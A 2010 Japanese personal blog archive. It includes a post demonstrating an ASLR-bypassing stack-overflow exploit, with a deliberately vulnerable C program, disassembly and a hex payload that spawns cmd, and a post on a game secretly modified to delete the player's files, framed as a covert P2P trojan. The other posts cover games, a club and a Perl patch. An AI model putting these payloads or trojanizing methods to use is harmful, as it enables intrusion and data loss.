なんか、こう色々と諸方面から圧力が掛かってきたのでtwitter始めました(
サイドバーにも表示してあります。たぶんあんま面白いことはつぶやけませんのであしからず。
idは”tikal”です。フォローとかはいくらでもどうぞ。
なんかここ12時間くらいでフォローが6人増えたと思ったらプログラミング&セキュリティキャンプ参加者の方でしたか!ローカルルールとかさっぱり分からんのだけど大丈夫かしら(
活殺自在よ 散るがよい
(「怒首領蜂最大復活」テーマソング「どどんぱち大音頭」 / CAVE)
なんか、こう色々と諸方面から圧力が掛かってきたのでtwitter始めました(
サイドバーにも表示してあります。たぶんあんま面白いことはつぶやけませんのであしからず。
idは”tikal”です。フォローとかはいくらでもどうぞ。
なんかここ12時間くらいでフォローが6人増えたと思ったらプログラミング&セキュリティキャンプ参加者の方でしたか!ローカルルールとかさっぱり分からんのだけど大丈夫かしら(
久しぶりです。7月一杯はテスト続きで遊べそうにありません…。8月は多少遊べるかと思いますが、9月の初旬にはまたテストがあります。ち な み に 文 系 は あ り ま せ ん 。9月の初旬のテストの後はまた一ヶ月ほど休みがあるので、その時には色々出来るかもしれません。あっ、でも免許取らないと。
とはいえ、情報科学概論Ⅰという講義を聴いている最中にふと思いついたセキュリティネタがあったので投稿します。ちょっと調べた感じだとこの手法は見つからなかったんですが、どう考えてもたいした工夫ではないので既出かもしれません。既出だったらスマソ。
まずreturn-to-libc攻撃について説明しましょう。知ってるという方は飛ばしてください。return-to-libcはバッファオーバーフロー攻撃の一種です。スタック上のバッファに、その大きさ以上のデータを書き込んでしまうことで発生します。
イメージとしてはこんな感じ
関数がリターンした後のスタックの構造が、ちょうどsytem関数を呼び出したときと同じように工夫するのがミソです。CPUはこの時、system(“cmd”)が実行された時と同じように振る舞い、結果任意のコマンドを実行させる事が可能になってしまいます。
Windows Vista以降では、ASLRといって、system()関数も含めた外部ライブラリに含まれる関数のアドレスを毎回ランダムにする事でこの攻撃を防いでいます。戻るべきsystem()関数のアドレスが毎回変わってしまうのですから、攻撃を成功させることも難しくなる、大変有効な対策です。†1
しかし、毎回アドレスが絶対に変わらない関数があります。それはアプリケーション内の関数です。アプリケーション内の関数は、DLLでロードされるライブラリと違い、毎回ロード先のアドレスが変わらないようです。(確かPEヘッダで指定するんだったっけ?)
なら、ランダムで戻るのが難しいライブラリの関数に戻るのでなく、このアプリケーション内の関数に戻れば良いのでは…?いやいや、戻る先も関数そのものでなくともよく、書き込むスタックの内容さえ工夫すれば同じプログラムに含まれるありとあらゆるコードにジャンプして任意の処理を実行できるのでは…?
本来はファイルの内容を表示するプログラムですが、この脆弱性によってシェルを実行するように改変されています。
Vista Businessと 7 Starter(どちらも32ビット)で動作を確認しています。
2010/07/04現在で最新にアップデートしてあるWindows7/Windows Vista(どちらも32ビット)で動作を確認しています。アップーデートで使えなくなる可能性は十分ありますので、起動しなくてもめげないでね!
こんな感じでシェルが実行されます。
まずは意図的にバッファーオーバーフローさせてるプログラムのソースコードを。
#include#include #include void exec(){ //何かの処理 fprintf(stdout,"debug message\n"); //外部アプリケーションの実行 system("ipconfig"); } int main(int argc, char* argv[]){ //ファイルの中を表示するだけのクソプログラム FILE* file = fopen("data.dat","rb"); //ファイルサイズを取得 fseek( file, 0, SEEK_END ); int size = ftell( file ); fprintf(stdout,"file size: %d\n", size); fseek( file, 0, SEEK_SET ); //ファイルサイズ分だけコピー。ここでオーバーフロー。 char dst[40]; fread(dst,size,1,file); //ここでfileにNULLを代入してもクラッシュはしない fclose(file); fprintf(stdout,"content: %s\n", dst); return 0; }
上のほうのexec()がポイントです。想定としては、プログラム内から他のアプリケーションを呼ぶような動作を模擬したものと考えてください。今回は”debug message”を表示させることなくsystem関数を呼び出し、さらにそのコマンドも”ipconfig”でなく”cmd”を実行します。
00401318 /. 55 PUSH EBP 00401319 |. 89E5 MOV EBP,ESP 0040131B |. 83EC 18 SUB ESP,18 0040131E |. A1 14414000 MOV EAX,DWORD PTR DS:[<&msvcrt._iob>] ; || 00401323 |. 83C0 20 ADD EAX,20 ; || 00401326 |. 894424 0C MOV DWORD PTR SS:[ESP+C],EAX ; || 0040132A |. C74424 08 0E00>MOV DWORD PTR SS:[ESP+8],0E ; || 00401332 |. C74424 04 0100>MOV DWORD PTR SS:[ESP+4],1 ; || 0040133A |. C70424 3020400>MOV DWORD PTR SS:[ESP],target.00402030 ; ||ASCII "debug message" 00401341 |. E8 26070000 CALL <JMP.&msvcrt.fwrite> ; |\fwrite 00401346 |. C70424 3F20400>MOV DWORD PTR SS:[ESP],target.0040203F ; |ASCII "ipconfig" /** main関数をここへリターンさせる! **/ 0040134D |. E8 22070000 CALL <JMP.&msvcrt.system> ; \system 00401352 |. C9 LEAVE 00401353 \. C3 RETN
00401354 /$ 55 PUSH EBP 00401355 |. 89E5 MOV EBP,ESP 00401357 |. 83E4 F0 AND ESP,FFFFFFF0 0040135A |. 83EC 40 SUB ESP,40 0040135D |. E8 CE040000 CALL target.00401830 00401362 |. C74424 04 4820>MOV DWORD PTR SS:[ESP+4],target.00402048 ; ||||||||ASCII "rb" 0040136A |. C70424 4B20400>MOV DWORD PTR SS:[ESP],target.0040204B ; ||||||||ASCII "data.dat" 00401371 |. E8 06070000 CALL <JMP.&msvcrt.fopen> ; |||||||\fopen (中略) 00401401 |. E8 8E060000 CALL <JMP.&msvcrt.fread> ; ||\fread 00401406 |. 8B4424 38 MOV EAX,DWORD PTR SS:[ESP+38] ; || 0040140A |. 890424 MOV DWORD PTR SS:[ESP],EAX ; || 0040140D |. E8 8A060000 CALL <JMP.&msvcrt.fclose> ; |\fclose 00401412 |. A1 14414000 MOV EAX,DWORD PTR DS:[<&msvcrt._iob>] ; | 00401417 |. 8D50 20 LEA EDX,DWORD PTR DS:[EAX+20] ; | 0040141A |. 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10] ; | 0040141E |. 894424 08 MOV DWORD PTR SS:[ESP+8],EAX ; | 00401422 |. C74424 04 6320>MOV DWORD PTR SS:[ESP+4],target.00402063 ; |ASCII "content: %s" 0040142A |. 891424 MOV DWORD PTR SS:[ESP],EDX ; | 0040142D |. E8 72060000 CALL <JMP.&msvcrt.fprintf> ; \fprintf 00401432 |. B8 00000000 MOV EAX,0 00401437 |. C9 LEAVE 00401438 \. C3 RETN
7468 6973 this 2064 6174 dat 6120 6973 a is 2061 2073 a s 6865 6c6c hell 636f 6465 code 2c20 6861 , ha 6861 2e00 ha.. 0000 0000 .... 0000 0000 ....
最初の40バイトはバッファにあふれない分のデータです。
何かメッセージが出ないと寂しいので、文章を書き込んであります。
0000 0000 .... //上書きされる"file"の値(注意:fclose(NULL)はエラーにならない) 0000 0000 .... //上書きされる"size"の値 0000 0000 .... // 作業用領域(freadの後には使われない) 0000 0000 .... // 作業用領域(freadの後には使われない) 0000 0000 .... // "leave"命令で使われる、EBPに代入されるアドレス(適当でいい) 4d13 4000 M.@. // 命令"CALL <JMP.&msvcrt.system>"がおいてあるところへのポインタ
関数が戻るまでにクラッシュしないように工夫した†2ローカル変数領域です。
リターンアドレスが、exec()内でsystem関数を呼び出す直前になっています。
以下が、”CALL <JMP.&msvcrt.system>”に戻ったときに使うデータです。
38ff 2200 8.". //下の文字列"cmd"へのポインタ 0000 0000 .... 636d 6400 cmd. 0000 0000 ....
スタックに引数”cmd”が乗せられている状態になっていて、この状態で”CALL <JMP.&msvcrt.system>”を実行すればコマンドプロンプトが実行される、というわけです。
この手法を使えば、プログラム中に含まれるありとあらゆる処理が意図しないタイミングで実行し放題になると思われます。出来そうな事はこんな感じ。
linuxでは「PAX」によって以下のようにスタックのアドレスも毎回ランダムで変わるので、Windowsより制限が厳しくなります。スタック破壊を検出するStack-Smashing-Protectorとかでも制限が掛かるかも…。
上記のプログラムのローカル変数「size」のアドレスを表示するプログラムです:
$ ./stack addr of "size": bfb5de08 $ ./stack addr of "size": bfec2a58 $ ./stack addr of "size": bfbc6288
このように、毎回かなりランダムになる事が分かります。文字列等のポインタを扱うにはスタック上のアドレスが必要なので使えず、イミディエイトな値のみしか扱えなくなります。
とはいえ、この辺は通常のreturn-to-libcと同じなのでいろいろと回避テクがあるかもしれません。
これしかないと思います。今ちょっと確認したところ、殆どのソフトウェア内のcall/jmpはすべて相対ジャンプで行われているようですし、たぶん問題は起きないと思います。DLLでは既にそうなっていますから、特に問題は無いはず…。Linuxだと実はすでに行われてるのかな?
誰かFirefoxのバッファオーバーフローのexploitコードのありかを教えてくれー
実演動画作ってニコニコ動画に上げます!(流石に公開はしない)
ちょっと久しぶりに元祖飛びゲー、ジャンピングフラッシュ!(初代PS/95年)をやってみました。もう発売から15年経つんですねえ。幼稚園に入る前ぐらいからやってたかな。体力ギリギリでラスボスを倒した時の緊張感は未だに覚えてます。
一言でいえば、コミカルな空中箱庭を、ウサギ型ロボットにのって空中散歩するゲームです。三段ジャンプでぴょんぴょんと空中を飛び回れ、敵を倒さず操作してるだけでも楽しいゲームです。全く他に類が無く、今見ても斬新だと思います。動画では乗り物酔いする人も居るので、ぜひ実際にプレイしてみてください。
キャラクターもデフォルメされてて可愛いんですよー。自機のウサギ型ロボット「ロビット†1」とか、頭にやしの木が生えたクラゲみたいなムームー星人†2とか、応援しか能のないAIのクマゴローとか、どことなくやる気のないキーウィ(左)とか、キモかわいいゴキブリのゴッキーくんとか。敵もみんな可愛くて、挙げたらキリが無いです。
かなり近くのオブジェクトしか描画できなかったり、やはり今見るとテクスチャがかなり荒かったりするので、そこらへんを改善してフルHDでリメイクするだけでも相当面白くなると思うんだけどなあ。とはいえ、あの絶妙な操作性を再現するには当時のプログラマが居ないと話にならないと思いますが、開発元のシュガーアンドロケッツも消失した現在、それは難しいのかも…。
このゲームがこのまま忘れ去られちゃうのは、日本のゲーム業界の損失だと半分くらい本気で思ってます(笑) だって面白いよ、このゲーム!PSアーカイブでも遊べるらしいからみんな遊んでみてね。
PS初期の名作ゲーム。
皆、こういうの知ってるのかなあ…?
いいですよ
ステージとステージの合間にはいる、ボスを操作していたムームー星人が飲み屋で愚痴をこぼすシーンも可愛いくておすすめです。
ジャンプ、ジャンプ
2もオススメです。ゲームデザインが十分に完成されているのか、続編というよりは、追加ステージと思った方が良い感じです。
首が・・・
酔うかも
3では今までのシリーズのようにステージやボスを攻略していくのではなく、宇宙市役所が市民のお悩みを解決する!というミッションクリア型の内容に変わっており、気の抜けたストーリーと相成って今まで以上にのんびりーとしたゲームになりました。PS3で上手く動かないのが難点(数分操作すると操作が効かなくなる)です…。パワーダウンは否めませんが、それでも面白いですよ。
あ、あと終盤のとても暗くて足場が見えないステージは、テレビの輝度を上げるとクリアしやすくなりますよん。どうしようもなくクリア出来ないときは適度に上げてみると良いかも。
今週のキルミンずぅの「うさぴょん星人のコスプレぴょん」で死んだ リコとポチ姉も言ってくれんかのー
ついカッっとなって作った†1。後悔はしていない。
巫女(じゃなくても可)が死ぬ度に、マイドキュメントのファイルがランダムで一つずつ消えていきます。消すファイルが無くなった場合、ゲームがアプリケーションごと終了します。もうこれは死ぬ気で練習するしかないねー
すいません公開できません m(_ _)m
公開して割れゲーに紛れて流されると色々ヤバイwのでwwwwww
簡単に言うと、巫女が死ぬ処理に無理やり割り込んで、ファイルを消す処理をくっ付けてるだけです。だから、洞窟物語の「どこでもセーブ」パッチと技術的にはほとんど同じです。ただ、こっちの方が追加されてる処理が多くて複雑ってだけです。
アイデアは「【自己責任】敵機を撃つとHDDのファイルが削除されるシューティングゲームが登場」から貰い、ファイルが消える条件を反転させて一般のゲームに実装した形になります。ルールとしてはこちらの方が緊張感があって良いと思うのですが、どうでしょうか(笑
今回は実験なので、ファイルを削除した際にウインドウを表示して削除した事が分かるようになっていますが、もちろんそうした表示処理をすべて消してしまう事も可能です。その場合、プレイヤはファイルが消されていることにおそらく気づかないでしょう。
この実例で、P2P等にこうして改造したゲーム等の実行ファイルを流すことで、ダウンロードした人が全く気づかないうちに悪意のある処理を実行させることが可能という事が分かったと思います。もちろんUACが不要な範囲内で、ですが、それでも個人情報を流出させるには十分です。
現在、キンタマウイルスのようなファイル名を偽装するような手口がよく知られていますが、このファイル名を偽装したウイルスを実行させる方法には引っかかった場合大抵すぐ気づくという難点があります。
しかし今回の手法ならもっとナチュラルに実行させる事が可能でしょう。ゲームと一心同体ですから。
今回、パラサイトルーチンは全部手書きアセンブラですw
正直全部アセンブラで書くのは、まあ…たまにやる分には楽しいがしんどすぎるw 今回はファイルの列挙を行う処理ということで再帰処理が入ってるんですが、スタック操作がなかなか大変でした。まあその分今後解析を行う際の参考にはなったかな、と思いますけどね。
アプリの最後の方にdllのファイルをそのままくっ付けておいて、パラサイトルーチンはdllを分離して実行させて、処理に割り込んだ時の処理はdll内の関数を呼ぶだけ、みたいな感じで、任意のDLLが呼べたりすると楽ですね。もうこんなにたくさん書きたくないわ…。
これただのファイル感染型ウイルスじゃね?(
今までずっと「本物のファイルに紛れてるキンタマウイルス」という線で考えてたので気づかなかった。
みんながみんな全く疑うことなく実行しているだろうと思われるP2Pのゲームに入れるのは効果的だと思うが、P2Pの大半の人間はDL専門だとすると拡散させにくいという気はする。特定のファイルだけ気をつければいいならハッシュ指定とかで防げちゃうだろうし。
五月祭お疲れさまでした え、ああ、ちゃんとさきゅばすも作ってるよ 仕様書も無い言語の言語処理系って難しいな…。ニワン語はプロトタイプ型オブジェクト指向ってことでいいの?
東京大学の五月祭に参加します。私はニコニコ動画研究会のメンバーとして、各種団体を取材するのをメインでやります。
以下の格好で行きますので、何か文句を直接言いたい場合の参考にしてください。私かどうかは分かりませんが、誰かメンバーの一人がカメラを持っているはずですので、それも参考にしてね。
すいません。体力的問題で本日は休みます。今週は色々ありすぎたのだ…。なお、明日着ていく格好に変更はありません。
半ズボンのヲタを見つけたら大体私。そしてキルミンずぅ面白いのでみんな見てください。
誰だよ大学は暇だの幼稚園だの言った奴は!!浪人してた時より忙しいぞwwwwww
ニコニコ動画研究会っていうまだメンバーがリアルに顔会わせして今日で一週間のサークルに入ってるんですが、その関係で一つ告知があります。
メンバーのつてでニワンゴの杉本誠司社長からお話を戴きまして、ニコニコ動画のチャンネルの一つとして、「東大ちゃんねる」を作らないか、という事になりました。動画の配信のほか、生放送を行う予定です。
明日・明後日の五月祭では時間が無いため生中継は行いませんが、1~2ヶ月以内には企画を立てて、動画配信や生放送を行おうと考えています。
昨日杉本誠司社長とお会いして、今後の方針のほか、参考になるお話を色々とさせていただきました。その場で上がった事についてとても適切な例を瞬時に上げられたり等、とても頭の切れる方で圧倒されました…。
というわけで、ニコニコ動画研究会ではメンバーや協力してくれる方を募集中です。
は、私のメールアドレス、psi<ぁっとまーく>science.mi.toか、代表(ゲンシュン)のメールアドレスnikochu_otsu<あっとまあく>yahoo.co.jp†1までご連絡ください。
注意です。これは1ユーザとして行う単なる遊びではなく、ある種のビジネスです。会社側からの手厳しい駄目出しもあるでしょう。「生放送でてえwwww」といった安易な気分で入ると後悔するかもしれません。本気でやっていける方を募集しています。
さきゅばすの開発は遅れていくのであった。
実を言うと、サークルを一個立ち上げた(えっ)のですが、それはおいおい。
ニワン語のANTLRでの文法定義書きながらNHK-FMのアニソン三昧視聴中
Poo@キルミンずぅ来た、これで勝つる!!!!!!!!!!!
# 2~3通名前を変えてリクエスト送りました 採用はされなかったけど。
ちょっと嬉しかったのでこれだけですが記事を投稿(
# こういうのついったー向けか?
公式掲示板がついに荒らされた事を受け、このたび、気分転換もかねてさきゅばすの公式サイトの模様替えを行いました。
環境を、
から、
という環境にしました。ずいぶん垢抜けた感じになったな…。なんというか、2000年代前半から後半に、約5年くらい進んだ感じがするw
昔のBBSはついに荒らされてしまった上、書き込みしたクライアントについて記録してある情報も極端に少ないなど問題があったので、廃止とさせて頂きます。ここ一ヶ月近く書き込みも無かったようですし、問題はありませんよね…?もちろん、過去ログはこちらで閲覧できます。
やはり有名なプロジェクトだけあって機能がすごい…。設定するのも大変ですが。大丈夫かな、セキュリティ…。
日本語だと最近のバージョンの情報がほぼ無いのですが、最近のバージョンだとver2系列ではmodが必要だった(らしい)以下の機能がカスタマイズやmod無しで使えます。
前出の記事での調達用件のうち、達成できたのは、
- reCAPTHAによるSPAM弾きができる それとも妹認証!?
- IPアドレスその他のクライアントについての情報をちゃんと記録する
- MySQLでデータを記録し、高速な表示や検索が行える
- RSSの配信ができる
- 内部コードはUTF8で多言語対応
- 言語は何でもいいや
達成ができなかったのは
- SPAMか否かの投票ができ、SPAM認定されたら表示しない。(Youtubeを思い出してね)
これだけ!なかなかすごいな。SPAMはreCAPTCHAで弾けるのを期待。
こちらもやはりWikipediaで採用されてるだけあって凄いです!しかも、想像してたより軽い!
RSSを表示するextensionを入れることでSourceForgeのニュースとシンクロしたり、最新バージョンをSourceForgeに登録するとそれがそのまま公式サイトにも表示されたりします。うーん、すごい便利だ。
こちらも、書き込み時にreCAPTCHAで認証を行うのですが、毎回毎回認証させる訳ではなく、外部URLを書き込んだ場合などに限っています。なるほど…うまいですね。
当Blogでも利用しております、MovableTypeではてな記法(やその他)を使えるようにするプラグイン、mt-sukeroku2 β3は、MovableType5では不具合があるようで、文の冒頭が全角空白で始まっている場合に整形されなくなってしまうようです(半角空白で始まっている場合に効かなくなるのは「整形済みテキスト」記法なので、仕様です)。
今回、対策用のパッチを作ってみましたのでおいておきます。内容は正規表現の中の「\s」を「 」(半角空白そのもの)に置き換えただけです。
以下のパッチをEUCで保存して当てて下さい。これくらいなら手動でもいい気がしますけれど。
=== modified file 'extlib/Text/Sukeroku/HatenaDiary.pm' --- extlib/Text/Sukeroku/HatenaDiary.pm 2010-03-07 06:49:17 +0000 +++ extlib/Text/Sukeroku/HatenaDiary.pm 2010-03-07 07:32:46 +0000 @@ -174,7 +174,7 @@ # スタックを吐き出す push(@result, splice(@saved)); # 空白文字ではじまり、整形テキスト出力でないなら<p></p>付加 - if (/^\s+/) { + if (/^ +/) { ($modeParagraph == 1 && $modePreLevel != 1) ? push(@result, $self->html->inlineElement('p', $_, ())) : push(@result, ($_)); === modified file 'extlib/Text/Sukeroku/PukiWiki.pm' --- extlib/Text/Sukeroku/PukiWiki.pm 2010-03-07 06:49:17 +0000 +++ extlib/Text/Sukeroku/PukiWiki.pm 2010-03-07 07:34:16 +0000 @@ -129,7 +129,7 @@ push(@result, "<p>"); } # 整形済みテキスト - elsif (/^\s(.*)$/) { + elsif (/^ (.*)$/) { $self->backPush('pre', 1, \@saved, \@result, ()); push(@result, $self->html->escape($1)); } @@ -166,7 +166,7 @@ $self->backPush('table', 1, \@saved, \@result, ()); my $tmp = "$1,"; my @value = map {/^"(.*)"$/ ? scalar($_ = $1, s/""/"/g, $_) : $_} ($tmp =~ /("[^"]*(?:""[^"]*)*"|[^,]*),/g); # "; - my @align = map {(s/^\s+//) ?1); } # 整形済みテキスト - elsif (/^\s(.*)$/) { + elsif (/^ (.*)$/) { $self->backPush('pre', 1, \@saved, \@result, ()); push(@result, $self->html->escape($1)); # Not &$func_inline, but &escape } @@ -103,7 +103,7 @@ $self->backPush('table', 1, \@saved, \@result, ()); my $tmp = "$1,"; my @value = map {/^"(.*)"$/ ? scalar($_ = $1, s/""/"/g, $_) : $_} ($tmp =~ /("[^"]*(?:""[^"]*)*"|[^,]*),/g); # " - my @align = map {(s/^\s+//) ? ((s/\s+$//) ? ' align="center"' : ' align="right"') : ''} @value; + my @align = map {(s/^ +//) ? ((s/ +$//) ? ' align="center"' : ' align="right"') : ''} @value; my @colspan = map {($_ eq '==') ? 0 : 1} @value; for (my $i = 0; $i < @value; $i++) { if ($colspan[$i]) {
ネットでちまちま検索してみたところ、メタ文字「\s」に全角空白はヒットしないようですし、このプラグインを無理やりコマンドラインから叩いてみてもやっぱりヒットしませんでした。
が、なぜかMT5内から呼ばれると全角にもヒットするようになり、当Blogのように段落の冒頭に全角空白を入れてる場合、ほとんどのテキストが整形されなくなってしまうようです。
よくわかんないや。まあ動いたから良いや。
推奨BGM:迷惑メーリングGIRL
「さきゅばす」掲示板 がついに荒らされたみたいです。
現在、公式サイトをMediaWikiに移行して、その上で掲示板プラグインを動かそうと作業中。公式サイトは現在死んでおります。
やだ…移行が済んだからまともな掲示板プラグイン探したけど全く無いじゃない…アップローダプラグインも無いじゃない…絶対あるだろうと見こんで作業したのに…。どうするかなあ。
現在の案:
ついに…ついに来たか…。
この掲示板のSPAM対策は現在今年何年?認証のみです。この記事にも書きましたが、この方式は数多くの掲示板に、BOTを使って絨毯爆撃を仕掛けるようなタイプのスパマーには効果がありますが、個別にこの掲示板を狙われると意味がありません。
ついにBOTに実装されたんでしょうか…。でも、「CAPTCHAを人力で解くサービスを行う会社がある」ことを踏まえると、手動の掲示板SPAMってのもありそうな気がします。
びっくりして掲示板のログを調べましたが、現在の掲示板スクリプトはIPアドレスすら記録していない模様…。これは流石に…。
Apacheのログを調べたところ、ホストは「*.*.*.*.broad.hm.nm.dynamic.163data.com.cn」。検索してみると、どうも有名なスパマーのようですね。諸事情により一件しか残ってないんですが、ログを転載しておきます。
121.56.231.39 - - [29/Apr/2010:20:08:10 +0900] "POST /soft/saccubus/bbs/post.php HTTP/1.1" 200 327 "/soft/saccubus/bbs/read.php?key=1270951891" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyin 730; TheWorld)"
ついにSPAMも書かれてしまった事ですし、そろそろ替え時でしょうかね。流石にIPアドレスすら記録してないのはちょっと…。RSSの配信なんかも出来なくて不便ですし…。
上に行くほど重要度が上がります。
やだ…こんなの探したけど無いじゃない…。どうしよう…自分で書くのめんどくさい…。